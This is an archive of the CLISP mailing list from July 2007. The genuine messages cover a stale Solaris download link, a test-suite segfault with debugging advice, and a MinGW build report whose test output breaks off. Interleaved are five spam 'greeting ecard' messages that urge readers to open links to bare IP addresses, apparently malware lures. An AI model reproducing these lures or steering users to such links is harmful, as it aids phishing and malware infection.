X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp for solaris, url in the web does not answer X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 18 Jul 2007 19:18:13 -0000 jorge alberto garcia gonzalez wrote: > Hello Bruno, i know you are busy but Since you know that I'm busy, please ask such questions on the clisp-list mailing list. Otherwise you will either increase my busy-ness or have your mail ignored. Mailing lists are there for distributing the "load". > i need to get clisp for Solaris 10, do > you know where can i download one package ¿? > > http://riemann.solnetworks.net/~dlewis/packages/clisp/ <-- is down ! It is true that this URL on clisp.cons.org has become stale. Sam, can you please remove it from /home/groups/c/cl/clisp/www-gnu/index.php ? You can download such binaries from http://clisp.cons.org/ by following the first hyperlink under "Sources and binaries for various platforms". Bruno From sds@gnu.org Wed Jul 18 15:28:27 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IBI0R-0001WA-H9 for clisp-list@lists.sourceforge.net; Wed, 18 Jul 2007 15:28:27 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IBI0P-0006D2-21 for clisp-list@lists.sourceforge.net; Wed, 18 Jul 2007 15:28:27 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A4160408; Wed, 18 Jul 2007 18:28:38 -0400 Message-ID: <469E9401.1050402@gnu.org> Date: Wed, 18 Jul 2007 18:28:17 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Bruno Haible References: <0JLE00IC71LSCPL0@mta.telcel.com> <200707182118.02636.bruno@clisp.org> In-Reply-To: <200707182118.02636.bruno@clisp.org> X-Enigmail-Version: 0.95.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: jorge alberto garcia gonzalez , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp for solaris, url in the web does not answer X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 18 Jul 2007 22:28:27 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Bruno Haible wrote: > jorge alberto garcia gonzalez wrote: > >> Hello Bruno, i know you are busy but > > Since you know that I'm busy, please ask such questions on the clisp-list > mailing list. Otherwise you will either increase my busy-ness or have your > mail ignored. Mailing lists are there for distributing the "load". A good place to start is FAQ: http://clisp.cons.org/impnotes/faq.html#faq-help >> i need to get clisp for Solaris 10, do >> you know where can i download one package ¿? >> >> http://riemann.solnetworks.net/~dlewis/packages/clisp/ <-- is down ! > > It is true that this URL on clisp.cons.org has become stale. Sam, can you > please remove it from /home/groups/c/cl/clisp/www-gnu/index.php ? eventually :-) the link may come back up... -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFGnpQBPp1Qsf2qnMcRAqRQAJ4qOwh8zNJvf0x0Sbq8JQjkfp9cQgCdENe+ UsKIoPW/xS2PTvfhU6x54vU= =/SWd -----END PGP SIGNATURE----- From jyx@allianz.hu Wed Jul 18 21:54:40 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IBO2C-0006tQ-Ij for clisp-list@lists.sourceforge.net; Wed, 18 Jul 2007 21:54:40 -0700 Received: from bb121-7-156-165.singnet.com.sg ([121.7.156.165]) by mail.sourceforge.net with smtp (Exim 4.44) id 1IBO2A-00015v-Ud for clisp-list@lists.sourceforge.net; Wed, 18 Jul 2007 21:54:40 -0700 Received: from quxas.ncr ([26.117.92.230]) by bb121-7-156-165.singnet.com.sg with Microsoft SMTPSVC(5.0.2195.6713); Thu, 19 Jul 2007 13:54:34 +0900 Message-ID: <002101c7c9c0$e6ed8ca0$e65c751a@quxas.ncr> From: "egreetings.com" To: Date: Thu, 19 Jul 2007 13:54:34 +0900 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2578 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2578 X-Spam-Score: -2.7 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL Subject: [clisp-list] You've received a greeting ecard from a Neighbour! X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 19 Jul 2007 04:54:40 -0000 Hi. Neighbour has sent you a greeting ecard. See your card as often as you wish during the next 15 days. SEEING YOUR CARD If your email software creates links to Web pages, click on your card's direct www address below while you are connected to the Internet: http://128.197.97.87/?50bb1c20bb5790c08a823e96272575cbc Or copy and paste it into your browser's "Location" box (where Internet addresses go). We hope you enjoy your awesome card. Wishing you the best, Webmaster, egreetings.com From PodalPradeepkumar_J@infosys.com Thu Jul 19 04:25:38 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IBU8Y-0006Vg-En for clisp-list@lists.sourceforge.net; Thu, 19 Jul 2007 04:25:38 -0700 Received: from kecgate06.infosysconsulting.com ([61.95.162.82] helo=kecgate06.infosys.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IBU8X-0005hk-JK for clisp-list@lists.sourceforge.net; Thu, 19 Jul 2007 04:25:38 -0700 Received: from INDHUBBHS02.ad.infosys.com ([192.168.200.82]) by kecgate06.infosys.com with InterScan Message Security Suite; Thu, 19 Jul 2007 16:56:20 +0530 Received: from PUNITPMSG03.ad.infosys.com ([172.21.100.77]) by INDHUBBHS02.ad.infosys.com with Microsoft SMTPSVC(6.0.3790.1830); Thu, 19 Jul 2007 16:55:27 +0530 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Thu, 19 Jul 2007 16:55:26 +0530 Message-ID: <239D732549372C4F859A2CD227ACDA3DDFD6D1@PUNITPMSG03.ad.infosys.com> In-Reply-To: <46927033.8090904@gnu.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: clisp-2.41 crash in testsuite (Fwd: Need some help) Thread-Index: AcfCTpJYeWa3bqn2TKywQqj+AQZzzgHqOUTQ References: <200707070001.30365.podalpradeepkumar_j@infosys.com> <46927033.8090904@gnu.org> From: "Podal Pradeepkumar Jaganath" To: X-OriginalArrivalTime: 19 Jul 2007 11:25:27.0445 (UTC) FILETIME=[81C25450:01C7C9F7] X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] clisp-2.41 crash in testsuite (Fwd: Need some help) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 19 Jul 2007 11:25:38 -0000 I did not get what is written Regards, P. Pradeepkumar =20 -----Original Message----- From: Sam Steingold [mailto:sds@gnu.org]=20 Sent: Monday, July 09, 2007 10:58 PM To: Podal Pradeepkumar Jaganath Cc: clisp-list@lists.sourceforge.net Subject: Re: clisp-2.41 crash in testsuite (Fwd: Need some help) -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Podal Pradeepkumar J (by way of Bruno Haible ) wrote: > Podal Pradeepkumar J reported this. > His platform is x86_64-unknown-linux2.6.21-gnu-glibc2.6. >=20 > Given below are the error messages given when I run =20 >=20 > make check=20 >=20 > during installation of CLISP. I don't know what is going wrong and I m > still learning LISP >=20 >=20 > (PROGN (SETQ S1 (OPEN "t1.plc")) (SETQ S2 (OPEN "t2.plc")) (SETQ S3 > (OPEN "t3.plc")) (SETQ S4 (OPEN "t4.plc")) (SETQ S5 (OPEN "t5.plc")) > (SETQ C1 (MAKE-CONCATENATED-STREAM S1 S2 S3)) (SETQ C2 > (MAKE-CONCATENATED-STREAM S4 S5)) T) >=20 > *** - handle_fault error2 ! address =3D 0x0 not in > [0x333a51000,0x333e89a90) ! > SIGSEGV cannot be cured. Fault address =3D 0x0. > Permanently allocated: 150584 bytes. > Currently in use: 10713296 bytes. > Free space: 3700 bytes. > gmake[1]: *** [tests] Segmentation fault > gmake[1]: Leaving directory > `/home/Pradeep/Desktop/clisp-2.41/build-with-gcc/tests' > make: *** [check-tests] Error 2 wfm clisp cvs head glibc-2.4-11 gcc-4.1.1-1.fc5 Linux x2.6.18-1.2257.fc5 86_64 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFGknAzPp1Qsf2qnMcRAmhEAKCr5HRlz8D3nHEo7Qwi6OiB+ICxNACfQccD EqZtlIvaYU4AbaMaEFncEe0=3D =3DA3ic -----END PGP SIGNATURE----- **************** CAUTION - Disclaimer ***************** This e-mail contains PRIVILEGED AND CONFIDENTIAL INFORMATION intended= solely for the use of the addressee(s). If you are not the intended= recipient, please notify the sender by e-mail and delete the original= message. Further, you are not to copy, disclose, or distribute this e-mail= or its contents to any other person and any such actions are unlawful.= This e-mail may contain viruses. Infosys has taken every reasonable= precaution to minimize this risk, but is not liable for any damage you may= sustain as a result of any virus in this e-mail. You should carry out your= own virus checks before opening the e-mail or attachment. Infosys reserves= the right to monitor and review the content of all messages sent to or= from this e-mail address. Messages sent to or from this e-mail address may= be stored on the Infosys e-mail system. ***INFOSYS******** End of Disclaimer ********INFOSYS*** From rgdgg@musc.edu Thu Jul 19 12:59:53 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IBcAB-0000p7-Gv for clisp-list@lists.sourceforge.net; Thu, 19 Jul 2007 12:59:53 -0700 Received: from rrcs-71-43-239-240.se.biz.rr.com ([71.43.239.240]) by mail.sourceforge.net with smtp (Exim 4.44) id 1IBcA8-0002Rj-Co for clisp-list@lists.sourceforge.net; Thu, 19 Jul 2007 12:59:50 -0700 Received: from yypp.wfdnz ([28.101.24.220]) by rrcs-71-43-239-240.se.biz.rr.com with Microsoft SMTPSVC(6.0.3790.211); Thu, 19 Jul 2007 15:59:37 -0400 Message-ID: <001d01c7ca3f$5610a3f0$dc18651c@yypp.wfdnz> From: "greetingCard.Org" To: Date: Thu, 19 Jul 2007 15:59:37 -0400 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2499 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2499 X-Spam-Score: -2.7 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL Subject: [clisp-list] You've received an ecard from a School friend! X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 19 Jul 2007 19:59:53 -0000 Hi. School friend has sent you an ecard. See your card as often as you wish during the next 15 days. SEEING YOUR CARD If your email software creates links to Web pages, click on your card's direct www address below while you are connected to the Internet: http://76.108.201.155/?28cae3d7703a3b01bdad81d9b848ca9a885b5e6 Or copy and paste it into your browser's "Location" box (where Internet addresses go). We hope you enjoy your awesome card. Wishing you the best, Postmaster, greetingCard.Org From icxpw@cisco.com Sat Jul 21 19:39:41 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1ICRMD-0003nn-RO for clisp-list@lists.sourceforge.net; Sat, 21 Jul 2007 19:39:41 -0700 Received: from h71.168.89.75.ip.alltel.net ([75.89.168.71]) by mail.sourceforge.net with smtp (Exim 4.44) id 1ICRMC-0001by-D9 for clisp-list@lists.sourceforge.net; Sat, 21 Jul 2007 19:39:41 -0700 Received: from clpoq.wq ([149.138.208.69]) by h71.168.89.75.ip.alltel.net with Microsoft SMTPSVC(6.0.3790.1830); Sat, 21 Jul 2007 22:39:29 -0400 Message-ID: <001901c7cc09$8738ff60$45d08a95@clpoq.wq> From: "greeting-cards.com" To: Date: Sat, 21 Jul 2007 22:39:29 -0400 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Spam-Score: -2.7 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL Subject: [clisp-list] You've received a greeting card from a Friend! X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 22 Jul 2007 02:39:42 -0000 Hi. Friend has sent you a greeting card. See your card as often as you wish during the next 15 days. SEEING YOUR CARD If your email software creates links to Web pages, click on your card's direct www address below while you are connected to the Internet: http://172.192.211.34/?6921636c804814655dc21c83 Or copy and paste it into your browser's "Location" box (where Internet addresses go). We hope you enjoy your awesome card. Wishing you the best, Administrator, greeting-cards.com From sds@gnu.org Sat Jul 21 19:58:35 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1ICReI-0005WV-1X for clisp-list@lists.sourceforge.net; Sat, 21 Jul 2007 19:58:28 -0700 Received: from mta5.srv.hcvlny.cv.net ([167.206.4.200]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ICReF-0002SP-Dl for clisp-list@lists.sourceforge.net; Sat, 21 Jul 2007 19:58:21 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta5.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0JLK00E9G8909LI0@mta5.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sat, 21 Jul 2007 22:58:12 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 0714E21DF95; Sat, 21 Jul 2007 22:58:11 -0400 (EDT) Date: Sat, 21 Jul 2007 22:58:11 -0400 From: Sam Steingold In-reply-to: <239D732549372C4F859A2CD227ACDA3DDFD6D1@PUNITPMSG03.ad.infosys.com> To: clisp-list@lists.sourceforge.net, Podal Pradeepkumar Jaganath Mail-followup-to: clisp-list@lists.sourceforge.net, Podal Pradeepkumar Jaganath Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <200707070001.30365.podalpradeepkumar_j@infosys.com> <46927033.8090904@gnu.org> <239D732549372C4F859A2CD227ACDA3DDFD6D1@PUNITPMSG03.ad.infosys.com> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.1.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] clisp-2.41 crash in testsuite (Fwd: Need some help) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 22 Jul 2007 02:58:35 -0000 X-List-Received-Date: Sun, 22 Jul 2007 02:58:35 -0000 > * Podal Pradeepkumar Jaganath [2007-07-19 16:55:26 +0500]: > > I did not get what is written > > wfm > clisp cvs head > glibc-2.4-11 > gcc-4.1.1-1.fc5 > Linux x2.6.18-1.2257.fc5 86_64 wfm = works for me. I cannot reproduce the crash. you will need to build a version of clisp instrumented for debugging: ./configure --with-debug build-g cd build-g gdb lisp.run boot and send us the backtrace. it would be nice if you reported the bug using the SF bug tracker (see the FAQ list on the clisp homepage http://clisp.cons.org). thanks. -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 6 (Zod) http://pmw.org.il http://israelunderattack.slide.com http://camera.org http://thereligionofpeace.com http://iris.org.il http://truepeace.org Those who beat their swords into plowshares plow for those who do not. From sds@gnu.org Sat Jul 21 19:58:35 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1ICReI-0005WX-VM for clisp-list@lists.sourceforge.net; Sat, 21 Jul 2007 19:58:28 -0700 Received: from mta2.srv.hcvlny.cv.net ([167.206.4.197]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ICReI-0002T8-HU for clisp-list@lists.sourceforge.net; Sat, 21 Jul 2007 19:58:22 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta2.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0JLK00JQT8930R10@mta2.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sat, 21 Jul 2007 22:58:16 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 8C40421DF95; Sat, 21 Jul 2007 22:58:15 -0400 (EDT) Date: Sat, 21 Jul 2007 22:58:15 -0400 From: Sam Steingold In-reply-to: <239D732549372C4F859A2CD227ACDA3DDFD6D1@PUNITPMSG03.ad.infosys.com> To: clisp-list@lists.sourceforge.net, Podal Pradeepkumar Jaganath Mail-followup-to: clisp-list@lists.sourceforge.net, Podal Pradeepkumar Jaganath Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <200707070001.30365.podalpradeepkumar_j@infosys.com> <46927033.8090904@gnu.org> <239D732549372C4F859A2CD227ACDA3DDFD6D1@PUNITPMSG03.ad.infosys.com> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.1.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] clisp-2.41 crash in testsuite (Fwd: Need some help) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 22 Jul 2007 02:58:35 -0000 > * Podal Pradeepkumar Jaganath [2007-07-19 16:55:26 +0500]: > > I did not get what is written > > wfm > clisp cvs head > glibc-2.4-11 > gcc-4.1.1-1.fc5 > Linux x2.6.18-1.2257.fc5 86_64 wfm = works for me. I cannot reproduce the crash. you will need to build a version of clisp instrumented for debugging: ./configure --with-debug build-g cd build-g gdb lisp.run boot and send us the backtrace. it would be nice if you reported the bug using the SF bug tracker (see the FAQ list on the clisp homepage http://clisp.cons.org). thanks. -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 6 (Zod) http://pmw.org.il http://israelunderattack.slide.com http://camera.org http://thereligionofpeace.com http://iris.org.il http://truepeace.org Those who beat their swords into plowshares plow for those who do not. From jvrvv@opmr.com Thu Jul 26 21:22:06 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IEHKh-000709-PK for clisp-list@lists.sourceforge.net; Thu, 26 Jul 2007 21:21:46 -0700 Received: from 67-58-204-247.amtelecom.net ([67.58.204.247]) by mail.sourceforge.net with smtp (Exim 4.44) id 1IEHKh-00047X-4f for clisp-list@lists.sourceforge.net; Thu, 26 Jul 2007 21:21:43 -0700 Received: from tw.lig ([204.211.53.78]) by 67-58-204-247.amtelecom.net with Microsoft SMTPSVC(5.0.2195.6713); Fri, 27 Jul 2007 00:21:35 -0400 Message-ID: <000401c7d005$9e55b760$4e35d3cc@tw.lig> From: "postcardsfrom.com" To: Date: Fri, 27 Jul 2007 00:21:35 -0400 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4029.2901 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4029.2901 X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL Subject: [clisp-list] You've received a postcard from a Partner! X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 27 Jul 2007 04:22:06 -0000 Hi. Partner has sent you a postcard. See your card as often as you wish during the next 15 days. SEEING YOUR CARD If your email software creates links to Web pages, click on your card's direct www address below while you are connected to the Internet: http://70.136.110.74/?e55b5603ac1719146019a182 Or copy and paste it into your browser's "Location" box (where Internet addresses go). We hope you enjoy your awesome card. Wishing you the best, Postmaster, postcardsfrom.com From vky@gb.co.za Sat Jul 28 06:41:58 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IEmYP-0007GZ-TR for clisp-list@lists.sourceforge.net; Sat, 28 Jul 2007 06:41:57 -0700 Received: from mr-ia361868.eli.net ([209.210.137.66]) by mail.sourceforge.net with smtp (Exim 4.44) id 1IEmYO-0001rF-5i for clisp-list@lists.sourceforge.net; Sat, 28 Jul 2007 06:41:57 -0700 Received: from yg.lfo ([141.210.41.182]) by mr-ia361868.eli.net with Microsoft SMTPSVC(6.0.3790.0); Sat, 28 Jul 2007 06:41:55 -0700 Message-ID: <002a01c7d11d$1013fa70$b629d28d@yg.lfo> From: "e-cards.com" To: Date: Sat, 28 Jul 2007 06:41:55 -0700 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4920.2300 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4920.2300 X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL Subject: [clisp-list] You've received a postcard from a School friend! X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 28 Jul 2007 13:41:58 -0000 Hi. School friend has sent you a postcard. See your card as often as you wish during the next 15 days. SEEING YOUR CARD If your email software creates links to Web pages, click on your card's direct www address below while you are connected to the Internet: http://218.172.192.112/?6b0339eb3a6075338ee7c63 Or copy and paste it into your browser's "Location" box (where Internet addresses go). We hope you enjoy your awesome card. Wishing you the best, Webmaster, e-cards.com From lisp-clisp-list@m.gmane.org Sun Jul 29 03:40:11 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IF6C3-0006Mw-IC for clisp-list@lists.sourceforge.net; Sun, 29 Jul 2007 03:40:11 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1IF6C0-00045P-KI for clisp-list@lists.sourceforge.net; Sun, 29 Jul 2007 03:40:10 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1IF6Bu-00064A-HA for clisp-list@lists.sourceforge.net; Sun, 29 Jul 2007 12:40:02 +0200 Received: from dhcp8024.mek.dtu.dk ([130.226.18.24]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 29 Jul 2007 12:40:02 +0200 Received: from be by dhcp8024.mek.dtu.dk with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 29 Jul 2007 12:40:02 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Brian Elmegaard Date: Sun, 29 Jul 2007 07:12:42 -0100 Organization: MEK, DTU Lines: 35 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: dhcp8024.mek.dtu.dk User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.92 (windows-nt) Cancel-Lock: sha1:3h/bO29t8VesvsayYQI4ABw0nwo= Sender: news X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Compiling clisp on win32 with mingw X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 29 Jul 2007 10:40:11 -0000 Hi In order to make xindy (http://xindy.sourceforge.net/) work on windows xp I am trying to compile clisp. I tried 2.33 and 2.38 (with the instructions on http://www.frank-buss.de/lisp/clisp.html) with no luck, but after taking the most recent win32.lisp and calls.c on cvs I am able to compile 2.41. However, I have a few problems: 1: makemake output has several lines looking like: ./makemake: [: argument expected which I had to remove to make. 2: make check gives me an error. It gives me streams.erg: Form: (LET ((F "foo.bar") FWD SIZE DIR DECODED) (UNWIND-PROTECT (PROGN (WITH-OPEN-FILE (S F :DIRECTION :OUTPUT) (WRITE S :STREAM S) (SETQ SIZE (FILE-LENGTH S))) (WITH-OPEN-FILE (S F :DIRECTION :PROBE) (SETQ FWD (FILE-WRITE-DATE S))) (SETQ DIR (FIRST (DIRECTORY F :FULL T)) DECODED (SUBSEQ (MULTIPLE-VALUE-LIST (DECODE-UNIVERSAL-TIME FWD)) 0 6)) (LIST (OR (EQUAL (THIRD DIR) DECODED) (LIST DIR FWD DECODED)) (OR (= (FOURTH DIR) SIZE) (LIST DIR SIZE)))) (DELETE-FILE F))) CORRECT: (T T) CLISP : (((#1=#P"C:\\xindy\\clisp-2.41.tar\\clisp-2.41\\src\\tests\\foo.bar" #1# (13 56 9 29 7 2007) 52) 3394684573 (13 56 6 29 7 2007)) T) Differ at position 0: T vs ((#1=#P"C:\\xindy\\clisp-2.41.tar\\clisp-2.41\\src\\tests\\foo.bar" #1# (13 56 9 29 7 2007) 52) 